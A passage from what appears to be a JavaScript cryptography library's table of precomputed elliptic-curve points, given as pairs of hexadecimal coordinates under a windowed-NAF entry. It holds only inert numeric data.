baa6e5db996d6bf771c00bd548c7b700dbffa6c0e77bcb6115925232fcda","96e867b5595cc498a921137488824d6e2660a0653779494801dc069d9eb39f5f"],["eebfa4d493bebf98ba5feec812c2d3b50947961237a919839a533eca0e7dd7fa","5d9a8ca3970ef0f269ee7edaf178089d9ae4cdc3a711f712ddfd4fdae1de8999"],["100f44da696e71672791d0a09b7bde459f1215a29b3c03bfefd7835b39a48db0","cdd9e13192a00b772ec8f3300c090666b7ff4a18ff5195ac0fbd5cd62bc65a09"],["e1031be262c7ed1b1dc9227a4a04c017a77f8d4464f3b3852c8acde6e534fd2d","9d7061928940405e6bb6a4176597535af292dd419e1ced79a44f18f29456a00d"],["feea6cae46d55b530ac2839f143bd7ec5cf8b266a41d6af52d5e688d9094696d","e57c6b6c97dce1bab06e4e12bf3ecd5c981c8957cc41442d3155debf18090088"],["da67a91d91049cdcb367be4be6ffca3cfeed657d808583de33fa978bc1ec6cb1","9bacaa35481642bc41f463f7ec9780e5dec7adc508f740a17e9ea8e27a68be1d"],["53904faa0b334cdda6e000935ef22151ec08d0f7bb11069f57545ccc1a37b7c0","5bc087d0bc80106d88c9eccac20d3c1c13999981e14434699dcb096b022771c8"],["8e7bcd0bd35983a7719cca7764ca906779b53a043a9b8bcaeff959f43ad86047","10b7770b2a3da4b3940310420ca9514579e88e2e47fd68b3ea10047e8460372a"],["385eed34c1cdff21e6d0818689b81bde71a7f4f18397e6690a841e1599c43862","283bebc3e8ea23f56701de19e9ebf4576b304eec2086dc8cc0458fe5542e5453"],["6f9d9b803ecf191637c73a4413dfa180fddf84a5947fbc9c606ed86c3fac3a7","7c80c68e603059ba69b8e2a30e45c4d47ea4dd2f5c281002d86890603a842160"],["3322d401243c4e2582a2147c104d6ecbf774d163db0f5e5313b7e0e742d0e6bd","56e70797e9664ef5bfb019bc4ddaf9b72805f63ea2873af624f3a2e96c28b2a0"],["85672c7d2de0b7da2bd1770d89665868741b3f9af7643397721d74d28134ab83","7c481b9b5b43b2eb6374049bfa62c2e5e77f17fcc5298f44c8e3094f790313a6"],["948bf809b1988a46b06c9f1919413b10f9226c60f668832ffd959af60c82a0a","53a562856dcb6646dc6b74c5d1c3418c6d4dff08c97cd2bed4cb7f88d8c8e589"],["6260ce7f461801c34f067ce0f02873a8f1b0e44dfc69752accecd819f38fd8e8","bc2da82b6fa5b571a7f09049776a1ef7ecd292238051c198c1a84e95b2b4ae17"],["e5037de0afc1d8d43d8348414bbf4103043ec8f575bfdc432953cc8d2037fa2d","4571534baa94d3b5f9f98d09fb990bddbd5f5b03ec481f10e0e5dc841d755bda"],["e06372b0f4a207adf5ea905e8f1771b4e7e8dbd1c6a6c5b725866a0ae4fce725","7a908974bce18cfe12a27bb2ad5a488cd7484a7787104870b27034f94eee31dd"],["213c7a715cd5d45358d0bbf9dc0ce02204b10bdde2a3f58540ad6908d0559754","4b6dad0b5ae462507013ad06245ba190bb4850f5f36a7eeddff2c27534b458f2"],["4e7c272a7af4b34e8dbb9352a5419a87e2838c70adc62cddf0cc3a3b08fbd53c","17749c766c9d0b18e16fd09f6def681b530b9614bff7dd33e0b3941817dcaae6"],["fea74e3dbe778b1b10f238ad61686aa5c76e3db2be43057632427e2840fb27b6","6e0568db9b0b13297cf674deccb6af93126b596b973f7b77701d3db7f23cb96f"],["76e64113f677cf0e10a2570d599968d31544e179b760432952c02a4417bdde39","c90ddf8dee4e95cf577066d70681f0d35e2a33d2b56d2032b4b1752d1901ac01"],["c738c56b03b2abe1e8281baa743f8f9a8f7cc643df26cbee3ab150242bcbb891","893fb578951ad2537f718f2eacbfbbbb82314eef7880cfe917e735d9699a84c3"],["d895626548b65b81e264c7637c972877d1d72e5f3a925014372e9f6588f6c14b","febfaa38f2bc7eae728ec60818c340eb03428d632bb067e179363ed75d7d991f"],["b8da94032a957518eb0f6433571e8761ceffc73693e84edd49150a564f676e03","2804dfa44805a1e4d7c99cc9762808b092cc584d95ff3b511488e4e74efdf6e7"],["e80fea14441fb33a7d8adab9475d7fab2019effb5156a792f1a11778e3c0df5d","eed1de7f638e00771e89768ca3ca94472d155e80af322ea9fcb4291b6ac9ec78"],["a301697bdfcd704313ba48e51d567543f2a182031efd6915ddc07bbcc4e16070","7370f91cfb67e4f5081809fa25d40f9b1735dbf7c0a11a130c0d1a041e177ea1"],["90ad85b389d6b936463f9d0512678de208cc330b11307fffab7ac63e3fb04ed4","e507a3620a38261affdcbd9427222b839aefabe1582894d991d4d48cb6ef150"],["8f68b9d2f63b5f339239c1ad981f162ee88c5678723ea3351b7b444c9ec4c0da","662a9f2dba063986de1d90c2b6be215dbbea2cfe95510bfdf23cbf79501fff82"],["e4f3fb0176af85d65ff99ff9198c36091f48e86503681e3e6686fd5053231e11","1e63633ad0ef4f1c1661a6d0ea02b7286cc7e74ec951d1c9822c38576feb73bc"],["8c00fa9b18ebf331eb961537a45a4266c7034f2f0d4e1d0716fb6eae20eae29e","efa47267fea521a1a9dc343a3736c974c2fadafa81e36c54e7d2a4c66702414b"],["e7a26ce69dd4829f3e10cec0a9e98ed3143d084f308b92c0997fddfc60cb3e41","2a758e300fa7984b471b006a1aafbb18d0a6b2c0420e83e20e8a9421cf2cfd51"],["b6459e0ee3662ec8d23540c223bcbdc571cbcb967d79424f3cf29eb3de6b80ef","67c876d06f3e06de1dadf16e5661db3c4b3ae6d48e35b2ff30bf0b61a71ba45"],["d68a80c8280bb840793234aa118f06231d6f1fc67e73c5a5deda0f5b496943e8","db8ba9fff4b586d00c4b1f9177b0e28b5b0e7b8f7845295a294c84266b133120"],["324aed7df65c804252dc0270907a30b09612aeb973449cea4095980fc28d3d5d","648a365774b61f2ff130c0c35aec1f4f19213b0c7e332843967224af96ab7c84"],["4df9c14919cde61f6d51dfdbe5fee5dceec4143ba8d1ca888e8bd373fd054c96","35ec51092d8728050974c23a1d85d4b5d506cdc288490192ebac06cad10d5d"],["9c3919a84a474870faed8a9c1cc66021523489054d7f0308cbfc99c8ac1f98cd","ddb84f0f4a4ddd57584f044bf260e641905326f76c64c8e6be7e5e03d4fc599d"],["6057170b1dd12fdf8de05f281d8e06bb91e1493a8b91d4cc5a21382120a959e5","9a1af0b26a6a4807add9a2daf71df262465152bc3ee24c65e899be932385a2a8"],["a576df8e23a08411421439a4518da31880cef0fba7d4df12b1a6973eecb94266","40a6bf20e76640b2c92b97afe58cd82c432e10a7f514d9f3ee8be11ae1b28ec8"],["7778a78c28dec3e30a05fe9629de8c38bb30d1f5cf9a3a208f763889be58ad71","34626d9ab5a5b22ff7098e12f2ff580087b38411ff24ac563b513fc1fd9f43ac"],["928955ee637a84463729fd30e7afd2ed5f96274e5ad7e5cb09eda9c06d903ac","c25621003d3f42a827b78a13093a95eeac3d26efa8a8d83fc5180e935bcd091f"],["85d0fef3ec6db109399064f3a0e3b2855645b4a907ad354527aae75163d82751","1f03648413a38c0be29d496e582cf5663e8751e96877331582c237a24eb1f962"],["ff2b0dce97eece97c1c9b6041798b85dfdfb6d8882da20308f5404824526087e","493d13fef524ba188af4c4dc54d07936c7b7ed6fb90e2ceb2c951e01f0c29907"],["827fbbe4b1e880ea9ed2b2e6301b212b57f1ee148cd6dd28780e5e2cf856e241","c60f9c923c727b0b71bef2c67d1d12687ff7a63186903166d605b68baec293ec"],["eaa649f21f51bdbae7be4ae34ce6e5217a58fdce7f47f9aa7f3b58fa2120e2b3","be3279ed5bbbb03ac69a80f89879aa5a01a6b965f13f7e59d47a5305ba5ad93d"],["e4a42d43c5cf169d9391df6decf42ee541b6d8f0c9a137401e23632dda34d24f","4d9f92e716d1c73526fc99ccfb8ad34ce886eedfa8d8e4f13a7f7131deba9414"],["1ec80fef360cbdd954160fadab352b6b92b53576a88fea4947173b9d4300bf19","aeefe93756b5340d2f3a4958a7abbf5e0146e77f6295a07b671cdc1cc107cefd"],["146a778c04670c2f91b00af4680dfa8bce3490717d58ba889ddb5928366642be","b318e0ec3354028add669827f9d4b2870aaa971d2f7e5ed1d0b297483d83efd0"],["fa50c0f61d22e5f07e3acebb1aa07b128d0012209a28b9776d76a8793180eef9","6b84c6922397eba9b72cd2872281a68a5e683293a57a213b38cd8d7d3f4f2811"],["da1d61d0ca721a11b1a5bf6b7d88e8421a288ab5d5bba5220e53d32b5f067ec2","8157f55a7c99306c79c0766161c91e2966a73899d279b48a655fba0f1ad836f1"],["a8e282ff0c9706907215ff98e8fd416615311de0446f1e062a73b0610d064e13","7f97355b8db81c09abfb7f3c5b2515888b679a3e50dd6bd6cef7c73111f4cc0c"],["174a53b9c9a285872d39e56e6913cab15d59b1fa512508c022f382de8319497c","ccc9dc37abfc9c1657b4155f2c47f9e6646b3a1d8cb9854383da13ac079afa73"],["959396981943785c3d3e57edf5018cdbe039e730e4918b3d884fdff09475b7ba","2e7e552888c331dd8ba0386a4b9cd6849c653f64c8709385e9b8abf87524f2fd"],["d2a63a50ae401e56d645a1153b109a8fcca0a43d561fba2dbb51340c9d82b151","e82d86fb6443fcb7565aee58b2948220a70f750af484ca52d4142174dcf89405"],["64587e2335471eb890ee7896d7cfdc866bacbdbd3839317b3436f9b45617e073","d99fcdd5bf6902e2ae96dd6447c299a185b90a39133aeab358299e5e9faf6589"],["8481bde0e4e4d885b3a546d3e549de042f0aa6cea250e7fd358d6c86dd45e458","38ee7b8cba5404dd84a25bf39cecb2ca900a79c42b262e556d64b1b59779057e"],["13464a57a78102aa62b6979ae817f4637ffcfed3c4b1ce30bcd6303f6caf666b","69be159004614580ef7e433453ccb0ca48f300a81d0942e13f495a907f6ecc27"],["bc4a9df5b713fe2e9aef430bcc1dc97a0cd9ccede2f28588cada3a0d2d83f366","d3a81ca6e785c06383937adf4b798caa6e8a9fbfa547b16d758d666581f33c1"],["8c28a97bf8298bc0d23d8c749452a32e694b65e30a9472a3954ab30fe5324caa","40a30463a3305193378fedf31f7cc0eb7ae784f0451cb9459e71dc73cbef9482"],["8ea9666139527a8c1dd94ce4f071fd23c8b350c5a4bb33748c4ba111faccae0","620efabbc8ee2782e24e7c0cfb95c5d735b783be9cf0f8e955af34a30e62b945"],["dd3625faef5ba06074669716bbd3788d89bdde815959968092f76cc4eb9a9787","7a188fa3520e30d461da2501045731ca941461982883395937f68d00c644a573"],["f710d79d9eb962297e4f6232b40e8f7feb2bc63814614d692c12de752408221e","ea98e67232d3b3295d3b535532115ccac8612c721851617526ae47a9c77bfc82"]]},naf:{wnd:7,points:[["f9308a019258c31049344f85f89d5229b531c845836f99b08601f113bce036f9","388f7b0f632de8140fe337e62a37f3566500a99934c2231b6cb9fd7584b8e672"],["2f8bde4d1a07209355b4a7250a5c5128e88b84bddc619ab7cba8d569b240efe4","d8ac222636e5e3d6d4dba9dda6c9c426f788271bab0d6840dca87d3aa6ac62d6"],["5cbdf0646e5db4eaa398f365f2ea7a0e3d419b7e0330e39ce92bddedcac4f9bc","6aebca40ba255960a3178d6d861a54dba813d0b813fde7b5a5082628087264da"],["acd484e2f0c7f65309ad178a9f559abde09796974c57e714c35f110dfc27ccbe","cc338921b0a7d9fd64380971763b61e9add888a4375f8e0f05cc262ac64f9c37"],["774ae7f858a9411e5ef4246b70c65aac5649980be5c17891bbec17895da008cb","d984a032eb6b5e190243dd56d7b7b365372db1e2dff9d6a8301d74c9c953c61b"],["f28773c2d975288bc7d1d205c3748651b075fbc6610e58cddeeddf8f19405aa8","ab0902e8d880a89758212eb65cdaf473a1a06da521fa91f29b5cb52db03ed81"],["d7924d4f7d43ea965a465ae3095ff41131e5946f3c85f79e44adbcf8e27e080e","581e2872a86c72a683842ec228cc6defea40af2bd896d3a5c504dc9ff6a26b58"],["defdea4cdb677750a420fee807eacf21eb9898ae79b9768766e4faa04a2d4a34","4211ab0694635168e997b0ead2a93daeced1f4a04a95c0f6cfb199f69e56eb77"],["2b4ea0a797a443d293ef5cff444f4979f06acfebd7e86d277475656138385b6c","85e89bc037945d93b343083b5a1c86131a01f60c50269763b570c854e5c09b7a"],["352bbf4a4cdd12564f93fa332ce333301d9ad40271f8107181340aef25be59d5","321eb4075348f534d59c18259dda3e1f4a1b3b2e71b1039c67bd3d8bcf81998c"],["2fa2104d6b38d11b0230010559879124e42ab8dfeff5ff29dc9cdadd4ecacc3f","2de1068295dd865b64569335bd5dd80181d70ecfc882648423ba76b532b7d67"],["9248279b09b4d68dab21a9b066edda83263c3d84e09572e269ca0cd7f5453714","73016f7bf234aade5d1aa71bdea2b1ff3fc0de2a887912ffe54a32ce97cb3402"],["daed4f2be3a8bf278e70132fb0beb7522f570e144bf615c07e996d443dee8729","a69dce4a7d6c98e8d4a1aca87ef8d7003f83c230f3afa726ab40e52290be1c55"],["c44d12c7065d812e8acf28d7cbb19f9011ecd9e9fdf281b0e6a3b5e87d22e7db","2119a460ce326cdc76c45926c982fdac0e106e861edf61c5a039063f0e0e6482"],["6a245bf6dc698504c89a20cfded60853152b695336c28063b61c65cbd269e6b4","e022cf42c2bd4a708b3f5126f16a24ad8b33ba48d0423b6efd5e6348100d8a82"],["1697ffa6fd9de627c077e3d2fe541084ce13300b0bec1146f95ae57f0d0bd6a5","b9c398f186806f5d27561506e4557433a2cf15009e498ae7adee9d63d01b2396"],["605bdb019981718b986d0f07e834cb0d9deb8360ffb7f61df982345ef27a7479","2972d2de4f8d20681a78d93ec96fe23c26bfae84fb14db43b01e1e9056b8c49"],["62d14dab4150bf497402fdc45a215e10dcb01c354959b10cfe31c7e9d87ff33d","80fc06bd8cc5b01098088a1950eed0db01aa132967ab472235f5642483b25eaf"],["80c60ad0040f27dade5b4b06c408e56b2c50e9f56b9b8b425e555c2f86308b6f","1c38303f1cc5c30f26e66bad7fe72f70a65eed4cbe7024eb1aa01f56430bd57a"],["7a9375ad6167ad54aa74c6348cc54d344cc5dc9487d847049d5eabb0fa03c8fb","d0e3fa9eca8726909559e0d79269046bdc59ea10c70ce2b02d499ec224dc7f7"],["d528ecd9b696b54c907a9ed045447a79bb408ec39b68df504bb51f459bc3ffc9","eecf41253136e5f99966f21881fd656ebc4345405c520dbc063465b521409933"],["49370a4b5f43412ea25f514e8ecdad05266115e4a7ecb1387231808f8b45963","758f3f41afd6ed428b3081b0512fd62a54c3f3afbb5b6764b653052a12949c9a"],["77f230936ee88cbbd73df930d64702ef881d811e0e1498e2f1c13eb1fc345d74","958ef42a7886b6400a08266e9ba1b37896c95330d97077cbbe8eb3c7671c60d6"],["f2dac991cc4ce4b9ea44887e5c7c0bce58c80074ab9d4dbaeb28531b7739f530","e0dedc9b3b2f8dad4da1f32dec2531df9eb5fbeb0598e4fd1a117dba703a3c37"],["463b3d9f662621fb1b4be8fbbe2520125a216cdfc9dae3debcba4850c690d45b","5ed430d78c296c3543114306dd8622d7c622e27c970a1de31cb377b01af7307e"],["f16f804244e46e2a09232d4aff3b59976b98fac14328a2d1a32496b49998f247","cedabd9b82203f7e13d206fcdf4e33d92a6c53c26e5cce26d6579962c4e31df6"],["caf754272dc84563b0352b7a14311af55d245315ace27c65369e15f7151d41d1","cb474660ef35f5f2a41b643fa5e460575f4fa9b7962232a5c32f908318a04476"],["2600ca4b282cb986f85d0f1709979d8b44a09c07cb86d7c124497bc86f082120","4119b88753c15bd6a693b03fcddbb45d5ac6be74ab5f0ef44b0be9475a7e4b40"],["7635ca72d7e8432c338ec53cd12220bc01c48685e24f7dc8c602a7746998e435","91b649609489d613d1d5e590f78e6d74ecfc061d57048bad9e76f302c5b9c61"],["754e3239f325570cdbbf4a87deee8a66b7f2b33479d468fbc1a50743bf56cc18","673fb86e5bda30fb3cd0ed304ea49a023ee33d0197a695d0c5d98093c536683"],["e3e6bd1071a1e96aff57859c82d570f0330800661d1c952f9fe2694691d9b9e8","59c9e0bba394e76f40c0aa58379a3cb6a5a2283993e90c4167002af4920e37f5"],["186b483d056a033826ae73d88f732985c4ccb1f32ba35f4b4cc47fdcf04aa6eb","3b952d32c67cf77e2e17446e204180ab21fb8090895138b4a4a797f86e80888b"],["df9d70a6b9876ce544c98561f4be4f725442e6d2b737d9c91a8321724ce0963f","55eb2dafd84d6ccd5f862b785dc39d4ab157222720ef9da217b8c45cf2ba2417"],["5edd5cc23c51e87a497ca815d5dce0f8ab52554f849ed8995de64c5f34ce7143","efae9c8dbc14130661e8cec030c89ad0c13c66c0d17a2905cdc706ab7399a868"],["290798c2b6476830da12fe02287e9e777aa3fba1c355b17a722d362f84614fba","e38da76dcd440621988d00bcf79af25d5b29c094db2a23146d003afd41943e7a"],["af3c423a95d9f5b3054754efa150ac39cd29552fe360257362dfdecef4053b45","f98a3fd831eb2b749a93b0e6f35cfb40c8cd5aa667a15581bc2feded498fd9c6"],["766dbb24d134e745cccaa28c99bf274906bb66b26dcf98df8d2fed50d884249a","744b1152eacbe5e38dcc887980da38b897584a65fa06cedd2c924f97cbac5996"],["59dbf46f8c94759ba21277c33784f41645f7b44f6c596a58ce92e666191abe3e","c534ad44175fbc300f4ea6ce648309a042ce739a7919798cd85e216c4a307f6e"],["f13ada95103c4537305e691e74e9a4a8dd647e711a95e73cb62dc6018cfd87b8","e13817b44ee14de663bf4bc808341f326949e21a6a75c2570778419bdaf5733d"],["7754b4fa0e8aced06d4167a2c59cca4cda1869c06ebadfb6488550015a88522c","30e93e864e669d82224b967c3020b8fa8d1e4e350b6cbcc537a48b57841163a2"],["948dcadf5990e048aa3874d46abef9d701858f95de8041d2a6828c99e2262519","e491a42537f6e597d5d28a3224b1bc25df9154efbd2ef1d2cbba2cae5347d57e"],["7962414450c76c1689c7b48f8202ec37fb224cf5ac0bfa1570328a8a3d7c77ab","100b610ec4ffb4760d5c1fc133ef6f6b12507a051f04ac5760afa5b29db83437"],["3514087834964b54b15b160644d915485a16977225b8847bb0dd085137ec47ca","ef0afbb2056205448e1652c48e8127fc6039e77c15c2378b7e7d15a0de293311"],["d3cc30ad6b483e4bc79ce2c9dd8bc54993e947eb8df787b442943d3f7b527eaf","8b378a22d827278d89c5e9be8f9508ae3c2ad46290358630afb34db04eede0a4"],["1624d84780732860ce1c78fcbfefe08b2b29823db913f6493975ba0ff4847610","68651cf9b6da903e0914448c6cd9d4ca896878f5282be4c8cc06e2a404078575"],["733ce80da955a8a26902c95633e62a985192474b5af207da6df7b4fd5fc61cd4","f5435a2bd2badf7d485a4d8b8db9fcce3e1ef8e0201e4578c54673bc1dc5ea1d"],["15d9441254945064cf1a1c33bbd3b49f8966c5092171e699ef258dfab81c045c","d56eb30b69463e7234f5137b73b84177434800bacebfc685fc37bbe9efe4070d"],["a1d0fcf2ec9de675b612136e5ce70d271c21417c9d2b8aaaac138599d0717940","edd77f50bcb5a3cab2e90737309667f2641462a54070f3d519212d39c197a629"],["e22fbe15c0af8ccc5780c0735f84dbe9a790badee8245c06c7ca37331cb36980","a855babad5cd60c88b430a69f53a1a7a38289154964799be43d06d77d31da06"],["311091dd9860e8e20ee13473c1155f5f69635e394704eaa74009452246cfa9b3","66db656f87d1f04fffd1f04788c06830871ec5a64feee685bd80f0b1286d8374"],["34c1fd04d301be89b31c0442d3e6ac24883928b45a9340781867d4232ec2dbdf","9414685e97b1b5954bd46f730174136d57f1ceeb487443dc5321857ba73abee"],["f219ea5d6b54701c1c14de5b557eb42a8d13f3abbcd08affcc2a5e6b049b8d63","4cb95957e83d40b0f73af4544cccf6b1f4b08d3c07b27fb8d8c2962a400766d1"],["d7b8740f74a8fbaab1f683db8f45de26543a5490bca627087236912469a0b448","fa77968128d9c92ee1010f337ad4717eff15db5ed3c049b3411e0315eaa4593b"],["32d31c222f8f6f0ef86f7c98d3a3335ead5bcd32abdd94289fe4d3091aa824bf","5f3032f5892156e39ccd3d7915b9e1da2e6dac9e6f26e961118d14b8462e1661"],["7461f371914ab32671045a155d9831ea8793d77cd59592c4340f86cbc18347b5","8ec0ba238b96bec0cbdddcae0aa442542eee1ff50c986ea6b39847b3cc092ff6"],["ee079adb1df1860074356a25aa38206a6d716b2c3e67453d287698bad7b2b2d6","8dc2412aafe3be5c4c5f37e0ecc5f9f6a446989af04c4e25ebaac479ec1c8c1e"],["16ec93e447ec83f0467b18302ee620f7e65de331874c9dc72bfd8616ba9da6b5","5e4631150e62fb40d0e8c2a7ca5804a39d58186a50e497139626778e25b0674d"],["eaa5f980c245f6f038978290afa70b6bd8855897f98b6aa485b96065d537bd99","f65f5d3e292c2e0819a528391c994624d784869d7e6ea67fb18041024edc07dc"],["78c9407544ac132692ee1910a02439958ae04877151342ea96c4b6b35a49f51","f3e0319169eb9b85d5404795539a5e68fa1fbd583c064d2462b675f194a3ddb4"],["494f4be219a1a77016dcd838431aea0001cdc8ae7a6fc688726578d9702857a5","42242a969283a5f339ba7f075e36ba2af925ce30d767ed6e55f4b031880d562c"],["a598a8030da6d86c6bc7f2f5144ea549d28211ea58faa70ebf4c1e665c1fe9b5","204b5d6f84822c307e4b4a7140737aec23fc63b65b35f86a10026dbd2d864e6b"],["c41916365abb2b5d09192f5f2dbeafec208f020f12570a184dbadc3e58595997","4f14351d0087efa49d245b328984989d5caf9450f34bfc0ed16e96b58fa9913"],["841d6063a586fa475a724604da03bc5b92a2e0d2e0a36acfe4c73a5514742881","73867f59c0659e81904f9a1c7543698e62562d6744c169ce7a36de01a8d6154"],["5e95bb399a6971d376026947f89bde2f282b33810928be4ded112ac4d70e20d5","39f23f366809085beebfc71181313775a99c9aed7d8ba38b161384c746012865"],["36e4641a53948fd476c39f8a99fd974e5ec07564b5315d8bf99471bca0ef2f66","d2424b1b1abe4eb8164227b085c9aa9456ea13493fd563e06fd51cf5694c78fc"],["336581ea7bfbbb290c191a2f507a41cf5643842170e914faeab27c2c579f726","ead12168595fe1be99252129b6e56b3391f7ab1410cd1e0ef3dcdcabd2fda224"],["8ab89816dadfd6b6a1f2634fcf00ec8403781025ed6890c4849742706bd43ede","6fdcef09f2f6d0a044e654aef624136f503d459c3e89845858a47a9129cdd24e"],["1e33f1a746c9c5778133344d9299fcaa20b0938e8acff2544bb40284b8c5fb94","60660257dd11b3aa9c8ed618d24edff2306d320f1d03010e33a7d2057f3b3b6"],["85b7c1dcb3cec1b7ee7f30ded79dd20a0ed1f4cc18cbcfcfa410361fd8f08f31","3d98a9cdd026dd43f39048f25a8847f4fcafad1895d7a633c6fed3c35e999511"],["29df9fbd8d9e46509275f4b125d6d45d7fbe9a3b878a7af872a2800661ac5f51","b4c4fe99c775a606e2d8862179139ffda61dc861c019e55cd2876eb2a27d84b"],["a0b1cae06b0a847a3fea6e671aaf8adfdfe58ca2f768105c8082b2e449fce252","ae434102edde0958ec4b19d917a6a28e6b72da1834aff0e650f049503a296cf2"],["4e8ceafb9b3e9a136dc7ff67e840295b499dfb3b2133e4ba113f2e4c0e121e5","cf2174118c8b6d7a4b48f6d534ce5c79422c086a63460502b827ce62a326683c"],["d24a44e047e19b6f5afb81c7ca2f69080a5076689a010919f42725c2b789a33b","6fb8d5591b466f8fc63db50f1c0f1c69013f996887b8244d2cdec417afea8fa3"],["ea01606a7a6c9cdd249fdfcfacb99584001edd28abbab77b5104e98e8e3b35d4","322af4908c7312b0cfbfe369f7a7b3cdb7d4494bc2823700cfd652188a3ea98d"],["af8addbf2b661c8a6c6328655eb96651252007d8c5ea31be4ad196de8ce2131f","6749e67c029b85f52a034eafd096836b2520818680e26ac8f3dfbcdb71749700"],["e3ae1974566ca06cc516d47e0fb165a674a3dabcfca15e722f0e3450f45889","2aeabe7e4531510116217f07bf4d07300de97e4874f81f533420a72eeb0bd6a4"],["591ee355313d99721cf6993ffed1e3e301993ff3ed258802075ea8ced397e246","b0ea558a113c30bea60fc4775460c7901ff0b053d25ca2bdeee98f1a4be5d196"],["11396d55fda54c49f19aa97318d8da61fa8584e47b084945077cf03255b52984","998c74a8cd45ac01289d5833a7beb4744ff536b01b257be4c5767bea93ea57a4"],["3c5d2a1ba39c5a1790000738c9e0c40b8dcdfd5468754b6405540157e017aa7a","b2284279995a34e2f9d4de7396fc18b80f9b8b9fdd270f6661f79ca4c81bd257"],["cc8704b8a60a0defa3a99a7299f2e9c3fbc395afb04ac078425ef8a1793cc030","bdd46039feed17881d1e0862db347f8cf395b74fc4bcdc4e940b74e3ac1f1b13"],["c533e4f7ea8555aacd9777ac5cad29b97dd4defccc53ee7ea204119b2889b197","6f0a256bc5efdf429a2fb6242f1a43a2d9b925bb4a4b3a26bb8e0f45eb596096"],["c14f8f2ccb27d6f109f6d08d03cc96a69ba8c34eec07bbcf566d48e33da6593","c359d6923bb398f7fd4473e16fe1c28475b740dd098075e6c0e8649113dc3a38"],["a6cbc3046bc6a450bac24789fa17115a4c9739ed75f8f21ce441f72e0b90e6ef","21ae7f4680e889bb130619e2c0f95a360ceb573c70603139862afd617fa9b9f"],["347d6d9a02c48927ebfb86c1359b1caf130a3c0267d11ce6344b39f99d43cc38","60ea7f61a353524d1c987f6ecec92f086d565ab687870cb12689ff1e31c74448"],["da6545d2181db8d983f7dcb375ef5866d47c67b1bf31c8cf855ef7437b72656a","49b96715ab6878a79e78f07ce5680c5d6673051b4935bd897fea824b77dc208a"],["c40747cc9d012cb1a13b8148309c6de7ec25d6945d657146b9d5994b8feb1111","5ca560753be2a12fc6de6caf2cb489565db936156b9514e1bb5e83037e0fa2d4"],["4e42c8ec82c99798ccf3a610be870e78338c7f713348bd34c8203ef4037f3502","7571d74ee5e0fb92a7a8b33a07783341a5492144cc54bcc40a94473693606437"],["3775ab7089bc6af823aba2e1af70b236d251cadb0c86743287522a1b3b0dedea","be52d107bcfa09d8bcb9736a828cfa7fac8db17bf7a76a2c42ad961409018cf7"],["cee31cbf7e34ec379d94fb814d3d775ad954595d1314ba8846959e3e82f74e26","8fd64a14c06b589c26b947ae2bcf6bfa0149ef0be14ed4d80f448a01c43b1c6d"],["b4f9eaea09b6917619f6ea6a4eb5464efddb58fd45b1ebefcdc1a01d08b47986","39e5c9925b5a54b07433a4f18c61726f8bb131c012ca542eb24a8ac07200682a"],["d4263dfc3d2df923a0179a48966d30ce84e2515afc3dccc1b77907792ebcc60e","62dfaf07a0f78feb30e30d6295853ce189e127760ad6cf7fae164e122a208d54"],["48457524820fa65a4f8d35eb6930857c0032acc0a4a2de422233eeda897612c4","25a748ab367979d98733c38a1fa1c2e7dc6cc07db2d60a9ae7a76aaa49bd0f77"],["dfeeef1881101f2cb11644f3a2afdfc2045e19919152923f367a1767c11cceda","ecfb7056cf1de042f9420bab396793c0c390bde74b4bbdff16a83ae09a9a7517"],["6d7ef6b17543f8373c573f44e1f389835d89bcbc6062ced36c82df83b8fae859","cd450ec335438986dfefa10c57fea9bcc521a0959b2d80bbf74b190dca712d10"],["e75605d59102a5a2684500d3b991f2e3f3c88b93225547035af25af66e04541f","f5c54754a8f71ee540b9b48728473e314f729ac5308b06938360990e2bfad125"],["eb98660f4c4dfaa06a2be453d5020bc99a0c2e60abe388457dd43fefb1ed620c","6cb9a8876d9cb8520609af3add26cd20a0a7cd8a9411131ce85f44100099223e"],["13e87b027d8514d35939f2e6892b19922154596941888336dc3563e3b8dba942","fef5a3c68059a6dec5d624114bf1e91aac2b9da568d6abeb2570d55646b8adf1"],["ee163026e9fd6fe017c38f06a5be6fc125424b371ce2708e7bf4491691e5764a","1acb250f255dd61c43d94ccc670d0f58f49ae3fa15b96623e5430da0ad6c62b2"],["b268f5ef9ad51e4d78de3a750c2dc89b1e626d43505867999932e5db33af3d80","5f310d4b3c99b9ebb19f77d41c1dee018cf0d34fd4191614003e945a1216e423"],["ff07f3118a9df035e9fad85eb6c7bfe42b02f01ca99ceea3bf7ffdba93c4750d","438136d603e858a3a5c440c38eccbaddc1d2942114e2eddd4740d098ced1f0d8"],["8d8b9855c7c052a34146fd20ffb658bea4b9f69e0d825ebec16e8c3ce2b526a1","cdb559eedc2d79f926baf44fb84ea4d44bcf50fee51d7ceb30e2e7f463036758"],["52db0b5384dfbf05bfa9d472d7ae26dfe4b851ceca91b1eba54263180da32b63","c3b997d050ee5d423ebaf66a6db9f57b3180c902875679de924b69d84a7b375"],["e62f9490d3d51da6395efd24e80919cc7d0f29c3f3fa48c6fff543becbd43352","6d89ad7ba4876b0b22c2ca280c682862f342c8591f1daf5170e07bfd9ccafa7d"],["7f30ea2476b399b4957509c88f77d0191afa2ff5cb7b14fd6d8e7d65aaab1193","ca5ef7d4b231c94c3b15389a5f6311e9daff7bb67b103e9880ef4bff637acaec"],["5098ff1e1d9f14fb46a210fada6c903fef0fb7b4a1dd1d9ac60a0361800b7a00","9731141d81fc8f8084d37c6e7542006b3ee1b40d60dfe5362a5b132fd17ddc0"],["32b78c7de9ee512a72895be6b9cbefa6e2f3c4ccce445c96b9f2c81e2778ad58","ee1849f513df71e32efc3896ee28260c73bb80547ae2275ba497237794c8753c"],["e2cb74fddc8e9fbcd076eef2a7c72b0ce37d50f08269dfc074b581550547a4f7","d3aa2ed71c9dd2247a62df062736eb0baddea9e36122d2be8641abcb005cc4a4"],["8438447566d4d7bedadc299496ab357426009a35f235cb141be0d99cd10ae3a8","c4e1020916980a4da5d01ac5e6ad330734ef0d7906631c4f2390426b2edd791f"],["4162d488b89402039b584c6fc6c308870587d9c46f660b878ab65c82c711d67e","67163e903236289f776f22c25fb8a3afc1732f2b84b4e95dbda47ae5a0852649"],["3fad3fa84caf0f34f0f89bfd2dcf54fc175d767aec3e50684f3ba4a4bf5f683d","cd1bc7cb6cc407bb2f0ca647c718a730cf71872e7d0d2a53fa20efcdfe61826"],["674f2600a3007a00568c1a7ce05d0816c1fb84bf1370798f1c69532faeb1a86b","299d21f9413f33b3edf43b257004580b70db57da0b182259e09eecc69e0d38a5"],["d32f4da54ade74abb81b815ad1fb3b263d82d6c692714bcff87d29bd5ee9f08f","f9429e738b8e53b968e99016c059707782e14f4535359d582fc416910b3eea87"],["30e4e670435385556e593657135845d36fbb6931f72b08cb1